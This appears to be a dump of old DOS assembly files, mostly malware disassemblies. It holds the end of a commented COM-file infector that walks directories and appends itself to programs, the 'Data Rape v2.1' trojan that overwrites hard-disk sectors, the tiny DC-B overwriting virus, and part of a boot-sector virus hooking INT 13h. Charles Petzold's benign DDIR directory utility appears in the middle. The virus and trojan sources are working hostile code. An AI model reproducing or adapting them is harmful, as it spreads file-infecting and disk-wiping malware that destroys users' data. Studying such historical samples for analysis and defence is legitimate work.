MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:)
MOV [BX],AX ; Restore Int 24H offset
POP DS
RET
; Interrupt 24H routine
BP01AE: MOV AL,3 ; Fail the system call
MOV BX,4 ; Address critical error byte
MOV CS:[BX],AL ; Save code
IRET
BP01B7: CALL BP02DA ; Find and infect a file
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
CMP AL,1 ; Is it on?
JNE BP01C6 ; Branch if not
JMP BP023C ; Tidy up and terminate
BP01C6: CALL BP0260 ; Get next directory
JNB BP01CE ; Branch if found
JMP BP0130 ; Select next disk drive
BP01CE: MOV CX,0040H ; Maximum characters to copy
PUSH SI
DEC DI ; \
DEC DI ; ) Address back to '*.*'
DEC DI ; /
MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon
MOV SI,BX ; Address file name
CLD
BP01DC: LODSB ; \ Copy a character
STOSB ; /
DEC CX ; Decrement count
CMP AL,0 ; Was last character zero?
JNE BP01DC ; Next character if not
POP SI
MOV AH,3BH ; Change current directory function
LEA DX,DB0438[SI+106H] ; Directory pathname
INT 21H ; DOS service
CALL BP02DA ; Find and infect a file
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
CMP AL,1 ; Is it on?
JE BP023C ; Tidy up and terminate if yes
CALL BP0260 ; Get next directory
JNB BP01CE ; Branch if found
MOV AH,3BH ; Change current directory function
LEA DX,DB0417[SI+106H] ; Current directory path name
INT 21H ; DOS service
INC CS:DB03E2[SI+106H] ; Increment directory count
CALL BP0260 ; Get next directory
JB BP023C ; Branch if not found
MOV AL,CS:DB03E2[SI+106H] ; Get directory count
BP0214: CMP AL,0 ; Is directory count zero yet?
JNE BP021D ; Branch if not
ADD BX,9 ; ???
JMP BP01CE ; ??? Add directory name to path
BP021D: MOV AH,4FH ; Find next file function
PUSH AX
INT 21H ; DOS service
POP AX
JNB BP0228 ; Branch if no error
JMP BP0130 ; Select next disk drive
BP0228: PUSH AX
MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,15H ; Address attributes byte
MOV AL,10H ; Directory attribute
CMP CS:[BX],AL ; Is it a directory?
POP AX
JNE BP021D ; Branch if not
DEC AL ; Decrement directory count
JMP BP0214
; Reset disk and directory, and pass control to host
BP023C: MOV AH,0EH ; Select disk function
MOV DL,CS:DB03F5[SI+106H] ; Get original current disk
INT 21H ; DOS service
MOV AH,3BH ; Change current directory function
LEA DX,DB03F6[SI+106H] ; Original directory
INT 21H ; DOS service
CALL BP0196 ; Restore Int 24H
MOV AX,SI ; Copy relocation factor
CMP AX,0 ; Is it zero (initial release)?
JE BP025C ; Terminate 8f not
MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Terminate
BP025C: MOV AH,4CH ; End process function
INT 21H ; DOS service
; Get next directory
BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname
MOV CX,003AH ; Length to clear
MOV AL,0 ; Set to zero
CLD
REPZ STOSB ; Clear pathname area
MOV AH,47H ; Get current directory function
PUSH SI
MOV DX,0 ; Current drive
LEA SI,DB0438+1[SI+106H] ; Directory pathname
INT 21H ; DOS service
POP SI
CLD
LEA DI,DB0438+1[SI+106H] ; Directory pathname
MOV CX,0040H ; Length to search
MOV AL,0 ; Search for zero
REPNZ SCASB ; Search for end of pathname
JZ BP0289 ; Branch if found
STC
RET
; Set file name wildcard on path
BP0289: DEC DI ; \ Back two positions
DEC DI ; /
MOV AL,[DI] ; Get character
CMP AL,'\' ; Does path end in dir delim?
JE BP0294 ; Branch if yes
INC DI ; Next position
MOV AL,'\' ; Make next character a dir delim
BP0294: MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'*' ; All files
MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'.' ; Extension
MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'*' ; all extensions
MOV [DI],AL ; Store character
INC DI ; Next position
LEA DX,DB0438[SI+106H] ; Address directory pathname
MOV AH,4EH ; Find first file function
MOV CX,0010H ; Find directories
INT 21H ; DOS service
JNB BP02B4 ; Branch if no error
RET
; Valid directories only
BP02B4: MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,15H ; Address attribute byte
MOV AL,10H ; Directory attribute
CMP CS:[BX],AL ; Is it a directory?
JNE BP02D2 ; Branch if not
CLC
MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,1EH ; Address directory name
MOV AL,'.' ; Prepare to test first byte
CMP CS:[BX],AL ; Is it a pointer to another dir?
JE BP02D2 ; Branch if yes
RET
BP02D2: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JNB BP02B4 ; Branch if no error
STC
RET
; Find and infect a file
BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off
MOV AH,4EH ; Find first file function
MOV CX,7 ; All files
LEA DX,DB03ED[SI+106H] ; Address '*.COM'
INT 21H ; DOS service
JNB BP02F6 ; Branch if no error
RET
BP02EF: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JNB BP02F6 ; Branch if no error
RET
; Exclude COMMAND.COM
BP02F6: MOV BX,00A4H ; Address seventh letter of name
MOV AL,[BX] ; Get character
CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)?
JNE BP0301 ; Branch if not
JMP BP02EF ; Next file
; Is it already infected?
BP0301: MOV BX,0096H ; Address time of file
MOV CX,[BX] ; Get time of file
ADD BX,2 ; Address date of file
MOV DX,[BX] ; Get date of file
MOV AL,CL ; Copy low byte of time
AND AL,0E0H ; Isolate low part of minutes
MOV AH,AL ; Copy low part of minutes
SHR AL,1 ; \
SHR AL,1 ; \
SHR AL,1 ; ) Move mins to secs position
SHR AL,1 ; /
SHR AL,1 ; /
OR AL,AH ; Combine with minutes
CMP AL,CL ; Compare to actual time
JNE BP0323 ; Branch if different
JMP BP02EF ; Find next file
; Uninfected COM file found
BP0323: PUSH CX
PUSH DX
MOV AX,CS:DW009A ; Get low-order length
MOV CS:DW03D3[SI+106H],AX ; Save low-order length
CALL BP03AA ; Remove read-only attribute
MOV AX,3D02H ; Open handle (R/W) function
MOV DX,009EH ; File name
INT 21H ; DOS service
MOV BX,AX ; Move handle
MOV AH,3FH ; Read handle function
LEA DX,DB03D5[SI+106H] ; Store area for start of host
MOV CX,000AH ; Read first ten bytes
INT 21H ; DOS service
MOV AX,4202H ; Move file pointer (EOF) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV CX,OFFSET ENDADR ; Length of virus
NOP
LEA DX,[SI+106H] ; Address start of virus
MOV AH,40H ; Write handle function
INT 21H ; DOS service
MOV AX,4200H ; Move file pointer (start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV AX,CS:DW009A ; Get low-order length
SUB AX,3 ; Subtract length of jump
MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump
MOV AH,40H ; Write handle function
MOV CX,3 ; Length of jump
LEA DX,DB03DF[SI+106H] ; Address jump instruction
INT 21H ; DOS service
POP DX
POP CX
AND CL,0E0H ; Isolate low part of minutes
MOV AL,CL ; Copy low part of minutes
SHR CL,1 ; \
SHR CL,1 ; \
SHR CL,1 ; ) Move mins to secs position
SHR CL,1 ; /
SHR CL,1 ; /
OR CL,AL ; Combine with minutes
MOV AX,5701H ; Set file date & time function
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
CALL BP03C1 ; Replace attributes
MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on
MOV AH,3BH ; Change current directory function
LEA DX,DB0417[SI+106H] ; Current directory path name
INT 21H ; DOS service
RET
; Remove read-only attribute
BP03AA: MOV DX,009EH ; Address file name
MOV AX,4300H ; Get file attributes function
INT 21H ; DOS service
MOV CS:DW03F3[SI+106H],CX ; Save attributes
AND CX,00FEH ; Set off read-only
MOV AX,4301H ; Set file attributes function
INT 21H ; DOS service
RET
; Replace attributes
BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes
MOV DX,009EH ; Address file name
MOV AX,4301H ; Set file attributes function
INT 21H ; DOS service
RET
DW03CF DW 1142H ; Original Int 24H segment
DW03D1 DW 175DH ; Original Int 24H offset
DW03D3 DW 0039H ; Low-order length of host
DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host
DB03DF DB 0E9H ; \ Jump for host program
DW03E0 DW 0 ; /
DB03E2 DB 0BH
DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B)
DW03E8 DW 0A0CH ; Start month and day
DB03EA DB 0 ; Start month
DB03EB DB 0 ; Infection completed switch
DB03EC DB 3 ; Disk drive pointer
DB03ED DB '*.COM', 0
DW03F3 DW 20H ; File attributes
DB03F5 DB 0 ; Original current disk
DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory
DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory
DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname
DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
ENDADR EQU $
CODE ENDS
END START
+85
View File
@@ -0,0 +1,85 @@
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
Article Title: Data Rape v2.1 Trojan
Author: Admiral Bailey
;=---
;
; DataRape 2.1 Trojan
;
; Disassembled By Admiral Bailey [YAM '92]
; June 25, 1992
;
; The writers of this virus are Zodiac and Data Disruptor
;
; Notes:Just a regular trojan. This one puts the messege into the
; sector it writes. Even though its not advanced it gets the
; job done.
;
;=---------
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
datarap2 proc far
start:
jmp begin
messege db '----------------------------',0Dh,0ah
db ' DataRape v2.1 ',0dh,0ah
db ' Written by Zodiac and ',0dh,0ah
db ' Data Disruptor ',0dh,0ah
copyright db '(c) 1991 RABID International',0dh,0ah
db '----------------------------',0dh,0ah
sector db 1
data_3 db 0
begin:
mov ah,0Bh ; write sectors
mov al,45h ; sectors to write to
mov bx,offset messege ; writes this messege
mov ch,0 ; clear out these
mov cl,0
mov dh,0
mov dl,80h ; drive
int 13h
jnc write_loop ; nomatter what jump to
jc write_loop ; the write loop and
jmp short write_loop ; destroy rest of drive
nop
compare:
mov sector,1 ; start writing at sec1
inc data_3
jmp short loc_4
db 90h
write_loop:
cmp data_3,28h
jae quit
cmp sector,9
ja compare
loc_4:
mov ah,3 ; write sec's from mem
mov al,9 ; #
mov bx,offset messege ; this is in mem
mov ch,data_3 ; cylinder
mov cl,sector ; sector
mov dh,0 ; drive head
mov dl,2 ; drive
int 13h
inc sector ; move up a sector
jmp short write_loop
db 73h, 02h, 72h, 00h
quit:
mov ax,4C00h
int 21h ; now quit
datarap2 endp
seg_a ends
end start
File diff suppressed because it is too large Load Diff
+55
View File
@@ -0,0 +1,55 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ DC-B ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 26-Dec-91 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_009E_e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
start:
mov ah,4Eh ; 'N'
mov dx,offset data_0124
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
loc_0107:
mov ax,3D01h
mov dx,data_009E_e
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
xchg ax,bx
mov ah,40h ; '@'
mov cl,2Ah ; '*'
mov dx,100h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_0107 ; Jump if carry=0
retn
data_0124 db 2Ah
db 2Eh, 43h, 4Fh, 4Dh, 00h
seg_a ends
end start
+441
View File
@@ -0,0 +1,441 @@
; DDIR.ASM -- Double Column Sorted DIR Command
; ========
; (C) Copyright Charles Petzold, 1985
;
; COM file format
;
CSEG Segment
Assume CS:CSEG, DS:CSEG
Org 002Ch ; Offset of Environment
Environment Label Byte
Org 007Bh ; Parameter for COMMAND.COM
NewParameter Label Byte
Org 0080h ; Parameter passed to program
OldParameter Label Byte
Org 0100h ; Entry point
Entry: Jmp Begin
; All Data
; --------
db '(C) Copyright Charles Petzold, 1985'
DosVersMsg db "Needs DOS 2.0 +$" ; Error messages
MemAllocMsg db "Memory Problem$"
CommandMsg db "COMMAND Problem$"
Comspec db "COMSPEC=" ; Search string in environment
CommandAsciiz dd ? ; Eventual pointer to COMMAND
ParamBlock dw ? ; Parameter Block for EXEC
dw NewParameter,? ; First ? must be replaced
dw 5Ch,? ; with Environment segment;
dw 6Ch,? ; others with this segment
OldInterrupt21 dd ? ; For vector address storage
BufferPtr dw Offset FileBuffer ; For storing files listing
CharCounter dw 0 ; Keeps track of characters
NowDoingFile db 0 ; Flagged for file printed
WithinFileList db 0 ; Flagged for file list
FileCounter dw 0 ; Keeps track of files
LineCounter db 0 ; For pausing at screen end
PauseMessage db 6 dup (205)," Press any key to continue "
db 6 dup (205),181
PauseMsgEnd Label Byte
; Check DOS Version
; -----------------
Begin: Mov AH,30h ; DOS Version function call
Int 21h ; Call DOS
Cmp AL,2 ; Check if version 2
Jae DosVersOK ; If equal or over, all OK
Mov DX,Offset DosVersMsg ; Wrong DOS version message
ErrorExit: Mov AH,9 ; Set up for string write
Int 21h ; Call DOS for message
Int 20h ; Dishonorable discharge
; Adjust stack and un-allocate rest of memory
; -------------------------------------------
DosVersOK: Mov DI,Offset FileBuffer ; Place to save files
Mov CX,528 * 39 ; Allow room for 528 files
Mov AL,' ' ; Will clear with blanks
Cld ; Forward direction
Rep Stosb ; Clear the area
Mov BX,(Offset FileBuffer) + (528 * 39) + 100h
; New end of program
Mov SP,BX ; Set the stack pointer
Add BX,15 ; Add 15 for rounding
Mov CL,4 ; Number of shifts
Shr BX,CL ; Convert AX to segment
Mov AH,4Ah ; DOS call to shrink down
Int 21h ; allocated memory
Mov DX,Offset MemAllocMsg ; Possible error message
Jc ErrorExit ; Only print it if Carry set
; Search for Comspec in Environment
; ---------------------------------
Mov ES,[Environment] ; Environment Segment
Sub DI,DI ; Start search at beginning
Cld ; String increment to forward
TryThis: Cmp Byte Ptr ES:[DI],0 ; See if end of environment
Jz NoFindComSpec ; If so, we have failed
Push DI ; Save environment pointer
Mov SI,Offset ComSpec ; String to search for
Mov CX,8 ; Characters in search string
Repz Cmpsb ; Check if strings are same
Pop DI ; Get back the pointer
Jz FoundComspec ; Found string only zero flag
Sub AL,AL ; Zero out AL
Mov CX,8000h ; Set for big search
Repnz Scasb ; Find the next zero in string
Jmp TryThis ; And do the search from there
NoFindComSpec: Mov DX,Offset CommandMsg ; Message for COMSPEC error
Jmp ErrorExit ; Print it and exit
FoundComspec: Add DI,8 ; So points after 'COMSPEC='
Mov Word Ptr [CommandASCIIZ],DI ; Save the address of
Mov Word Ptr [CommandASCIIZ + 2],ES ; COMMAND ASCIIZ
; Set up parameter block for EXEC call
; ------------------------------------
Mov [ParamBlock],ES ; Segment of Environment string
Mov [ParamBlock + 4],CS ; Segment of this program
Mov [ParamBlock + 8],CS ; so points to FCB's
Mov [ParamBlock + 12],CS ; and NewParameter
; Save and set Interrupt 21h vector address
; -----------------------------------------
Mov AX,3521h ; DOS call to get Interrupt 21
Int 21h ; vector address
Mov Word Ptr [OldInterrupt21],BX ; Save offset
Mov Word Ptr [OldInterrupt21 + 2],ES ; And segment
Mov DX,Offset NewInterrupt21; Address of new Interrupt 21
Mov AX,2521h ; Do DOS call to
Int 21h ; set the new address
; Fix up new parameter for "/C DIR" String
; ------------------------------------
Mov AL,[OldParameter] ; Number of parameter chars
Add AL,5 ; We'll be adding five more
Mov [NewParameter],AL ; Save it
Mov Word Ptr [NewParameter + 1],'C/' ; i.e. "/C"
Mov Word Ptr [NewParameter + 3],'ID' ; Then "DI"
Mov Byte Ptr [NewParameter + 5],'R' ; And "R"
; Load COMMAND.COM
; -----------------
Push CS ; Push this segment so we can
Pop ES ; set ES to it
Mov BX,Offset ParamBlock ; ES:BX = address of block
Lds DX,[CommandAsciiz] ; DS:DX = address of ASCIIZ
Mov AX,4B00h ; EXEC call 4Bh, type 0
Int 21h ; Load command processor
; Return from COMMAND.COM
; -----------------------
Mov AX,CS ; Get this segment in AX
Mov DS,AX ; Set DS to it
Mov SS,AX ; And SS for stack segment
Mov SP,(Offset FileBuffer) + (528 * 39) + 100h
; Set Stack again
PushF ; Save Carry for error check
Push DS ; Save DS during next call
Mov DX,Word Ptr [OldInterrupt21] ; Old Int 21 offset
Mov DS,Word Ptr [OldInterrupt21 + 2]; and segment
Mov AX,2521h ; Call DOS to set vector
Int 21h ; address to original
Pop DS ; Restore DS to this segment
PopF ; Get back Carry flage
Jnc NormalEnd ; Continue if no error
Mov DX,Offset CommandMsg ; Otherwise we'll print error
Jmp ErrorExit ; message and exit
NormalEnd: Int 20h ; Terminate program
; New Interrupt 21h
; -----------------
NewInterrupt21 Proc Far
Sti ; Allow further interrupts
Cmp AH,40h ; Check if file / device write
Je CheckHandle ; If so, continue checks
SkipIntercept: Jmp CS:[OldInterrupt21] ; Just jump to old interrupt
CheckHandle: Cmp BX,1 ; Check if standard output
Jne SkipIntercept ; Not interested if not
PushF ; Push all registers that
Push AX ; we'll be messing with
Push CX
Push SI
Push DI
Push ES
Push CS ; Push the code segment
Pop ES ; So we can set ES to it
Cld ; Forward for string transfers
Mov SI,DX ; Now DS:SI = text source
Mov DI,CS:[BufferPtr] ; And ES:DI = text destination
Cmp CX,2 ; See if two chars to write
Jne RegularChars ; If not, can't be CR/LF
Cmp Word Ptr DS:[SI],0A0Dh ; See if CR/LF being written
Jne RegularChars ; Skip rest if not CR/LF
Mov CX,CS:[CharCounter] ; Get characters in line
Mov CS:[CharCounter],0 ; Start at new line
Cmp CS:[NowDoingFile],1 ; See if CR/LF terminates file
Jnz AllowTransfer ; If not, just write to screen
Mov AX,39 ; Max characters per line
Sub AX,CX ; Subtract those passed
Add CS:[BufferPtr],AX ; Kick up pointer by that
Mov CS:[NowDoingFile],0 ; Finished with file
Jmp PopAndReturn ; So just return to COMMAND
RegularChars: Add CS:[CharCounter],CX ; Kick up counter by number
Cmp CS:[CharCounter],CX ; See if beginning of line
Jne NotLineBegin ; If not, must be in middle
Cmp Byte Ptr DS:[SI],' ' ; See if first char is blank
Jne ItsAFile ; If not, it's a file line
Cmp CS:[WithinFileList],1 ; See if doing file listing
Jne AllowTransfer ; If not, just print stuff
Call SortAndList ; Files done -- sort and list
Mov CS:[WithinFileList],0 ; Not doing files now
Jmp Short AllowTransfer ; So just print the stuff
ItsAFile: Cmp CS:[FileCounter],528 ; See if 11 buffer filled up
Jb NotTooManyFiles ; If not just continue
Push CX ; Otherwise, save this register
Call SortAndList ; Print all up to now
Mov CS:[FileCounter],0 ; Reset the counter
Mov DI,Offset FileBuffer ; And the pointer
Mov CS:[BufferPtr],DI ; Save the pointer
Mov CX,528 * 39 ; Will clear for 528 files
Mov AL,' ' ; With a blank
Rep Stosb ; Clear it out
Pop CX ; And get back register
NotTooManyFiles:Mov CS:[WithinFileList],1 ; We're doing files now
Mov CS:[NowDoingFile],1 ; And a file in particular
Inc CS:[FileCounter] ; So kick up this counter
NotLineBegin: Cmp CS:[NowDoingFile],1 ; See if doing files
Je StoreCharacters ; If so, store the stuff
AllowTransfer: Pop ES ; Pop all the registers
Pop DI
Pop SI
Pop CX
Pop AX
PopF
Jmp SkipIntercept ; And go to DOS for print
StoreCharacters:Mov DI,CS:[BufferPtr] ; Set destination
Rep Movsb ; Move characters to buffer
Mov CS:[BufferPtr],DI ; And save new pointer
PopAndReturn: Pop ES ; Pop all the registers
Pop DI
Pop SI
Pop CX
Pop AX
PopF
Mov AX,CX ; Set for COMMAND.COM
Clc ; No error here
Ret 2 ; Return with CY flag cleared
NewInterrupt21 EndP
; Sort Files
; ----------
SortAndList: Push BX ; Push a bunch of registers
Push DX
Push SI
Push DS
Push CS ; Push CS
Pop DS ; so we can set DS to it
Assume DS:CSEG ; And inform the assembler
Mov DI,Offset FileBuffer ; This is the beginning
Mov CX,[FileCounter] ; Number of files to sort
Dec CX ; Loop needs one less than that
Jcxz AllSorted ; But zero means only one file
SortLoop1: Push CX ; Save the file counter
Mov SI,DI ; Set source to destination
SortLoop2: Add SI,39 ; Set source to next file
Push CX ; Save the counter,
Push SI ; compare source,
Push DI ; and compare destination
Mov CX,39 ; 39 characters to compare
Repz Cmpsb ; Do the compare
Jae NoSwitch ; Jump if already in order
Pop DI ; Get back these registers
Pop SI
Push SI ; And push them again for move
Push DI
Mov CX,39 ; 39 characters
SwitchLoop: Mov AL,ES:[DI] ; Character from destination
Movsb ; Source to destination
Mov DS:[SI - 1],AL ; Character to source
Loop SwitchLoop ; For the rest of the line
NoSwitch: Pop DI ; Get back the registers
Pop SI
Pop CX
Loop SortLoop2 ; And loop for next file
Pop CX ; Get back file counter
Add DI,39 ; Compare with next file
Loop SortLoop1 ; And loop again
; Now Display Sorted Files
; ------------------------
AllSorted: Mov SI,Offset FileBuffer ; This is the beginning
Mov CX,[FileCounter] ; Number of files to list
Inc CX ; In case CX is odd
Shr CX,1 ; CX now is number of lines
SetIncrement: Mov BX,24 * 39 ; Increment for double list
Cmp CX,24 ; But use it only if a full
Jae LineLoop ; screen is printed
Mov AX,39 ; Otherwise find increment
Mul CX ; by multiplying CX by 39
Mov BX,AX ; And make that the increment
LineLoop: Call PrintFile ; Print the first column file
Mov AL,' ' ; Skip one space
Call PrintChar ; by printing blank
Mov AL,179 ; Put a line down the middle
Call PrintChar
Mov AL,' ' ; Skip another space
Call PrintChar
Add SI,BX ; Bump up source by increment
Sub SI,39 ; But kick down by 39
Call PrintFile ; Print the second column file
Call CRLF ; And terminate line
Sub SI,BX ; Bring pointer back down
Inc [LineCounter] ; One more line completed
Cmp [LineCounter],24 ; Have we done whole screen?
Jz PauseAtEnd ; If so, gotta pause now
Loop LineLoop ; Otherwise just loop
Jmp Short AllFinished ; And jump out when done
PauseAtEnd: Mov [LineCounter],0 ; Reset the counter
Add SI,BX ; Go to next file
Push BX ; Save these registers
Push CX
Mov DX,Offset PauseMessage ; Test to print
Mov CX,Offset PauseMsgEnd - Offset PauseMessage
; Number of characters
Mov BX,2 ; Standard ERROR Output
Mov AH,40h ; Display to screen
Int 21h ; By calling DOS
Pop CX ; Retrieve pushed registers
Pop BX
Mov AH,8 ; Wait for character
Int 21h ; Through DOS call
Call CRLF ; Go to next line
Loop SetIncrement ; And recalculate increment
AllFinished: Pop DS ; Done with subroutine
Pop SI
Pop DX
Pop BX
Ret ; So return to caller
; Display Routines
; ----------------
PrintChar: Mov DL,AL ; Print character in AL
Mov AH,2 ; By simple DOS call
Int 21h
Ret ; And return
CRLF: Mov AL,13 ; Print a carriage return
Call PrintChar
Mov AL,10 ; And a line feed
Call PrintChar
Ret ; And return
PrintString: Lodsb ; Get character from SI
Call PrintChar ; Print it
Loop PrintString ; Do that CX times
Ret ; And return
PrintFile: Push CX ; Save the counter
Mov CX,32 ; Bytes for Name, Size, & Date
Call PrintString ; Print it
Inc SI ; Skip one space before time
Mov CX,6 ; Bytes for Time
Call PrintString ; It's a print!
Pop CX
Ret ; And return
FileBuffer Label Byte ; Points to end of code
CSEG EndS ; End of segment
End Entry ; Denotes entry point

+284
View File
@@ -0,0 +1,284 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ DEBUG ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 16-Sep-94 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
target EQU 'T3' ; Target assembler: TASM-3.1
include srmacros.inc
; The following equates show data references outside the range of the program.
data_1e equ 6
data_2e equ 0Eh
data_3e equ 417h
data_4e equ 46Eh
data_5e equ 24h
data_6e equ 26h
data_7e equ 4Ch
data_8e equ 4Eh
data_13e equ 413h ;*
data_14e equ 46Eh ;*
data_15e equ 7C00h ;*
data_16e equ 7CD3h ;*
data_18e equ 7D25h ;*
data_19e equ 7DBDh ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
debug proc far
start:
jmp short real_start
;* No entry point to code
nop
push si
inc di
inc cx
inc bx
push ax
db 36h, 30h, 33h, 00h, 02h, 01h
db 01h, 00h, 02h, 70h, 00h, 68h
db 06h,0F9h, 05h, 00h, 0Ah, 00h
db 02h
db 9 dup (0)
db 01h, 00h, 29h,0EDh, 93h, 26h
db 1Dh
db 'NO NAME FAT12 '
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
real_start:
cli ; Disable interrupts
push cs
pop ds
mov ax,ds:data_7e
mov ds:data_16e,ax
mov ax,ds:data_8e
mov word ptr ds:data_16e+2,ax
mov al,ds:data_14e
mov ds:data_19e,al
mov ax,ds:data_13e
dec ax
mov ds:data_13e,ax
mov cl,6
shl ax,cl ; Shift w/zeros fill
sub ax,7C0h
mov ds:data_8e,ax
mov ds:data_6e,ax
mov word ptr ds:data_7e,7C82h
mov word ptr ds:data_5e,7D62h
mov si,data_15e
mov di,si
mov es,ax
mov cx,100h
cld ; Clear direction
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
int 19h ; Bootstrap loader
cmp ah,0AAh
jne loc_1 ; Jump if not equal
iret ; Interrupt return
loc_1:
cmp ah,2
jne loc_4 ; Jump if not equal
cmp cx,1
jne loc_4 ; Jump if not equal
cmp dh,0
jne loc_4 ; Jump if not equal
push ax
push bx
push si
push di
pushf ; Push flags
call dword ptr cs:data_16e
jnc loc_2 ; Jump if carry=0
jmp short loc_5
loc_2:
cmp word ptr es:[1FEh][bx],0AA55h
je loc_3 ; Jump if equal
jmp short $+29h
db 26h, 80h,0BFh,0BCh, 01h,0C9h
db 74h, 7Ah,0E8h, 8Bh, 00h,0E8h
data_10 db 31h ; Data table (indexed access)
db 00h, 8Bh,0F3h, 80h,0FAh, 79h
db 77h, 1Eh, 83h,0C6h, 02h,0BFh
db 02h, 7Ch,0B9h, 1Eh, 00h, 32h
db 0F6h,0EBh, 30h,0EAh, 85h,0A5h
db 00h,0F0h
db 0B8h, 01h, 00h,0F8h
loc_5:
pop di
pop si
pop bx
inc sp
inc sp
retf 2 ; Return far
loc_6:
add si,1BEh
mov di,7DBEh
mov cx,20h
jmp short $+15h
debug endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov ax,301h
pushf ; Push flags
call dword ptr cs:data_16e
jnc loc_ret_7 ; Jump if carry=0
pop bx
mov cl,1
xor dh,dh ; Zero register
jmp short $-28h
loc_ret_7:
retn
sub_1 endp
;* No entry point to code
push ds
push es
pop ds
push cs
pop es
cld ; Clear direction
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov cx,1
mov bx,7C00h
mov ax,301h
pushf ; Push flags
call dword ptr cs:data_16e
jc $-0Fh ; Jump if carry Set
push ds
pop es
inc byte ptr cs:data_19e
pop ds
jmp short $-4Ch
;* No entry point to code
add ax,714h
sbb al,1
or al,75h ; 'u'
push ss
sbb ax,1610h
push ds
db 0FFh
loc_8:
call sub_2
pop di
pop si
pop bx
pop ax
pushf ; Push flags
call dword ptr cs:data_16e
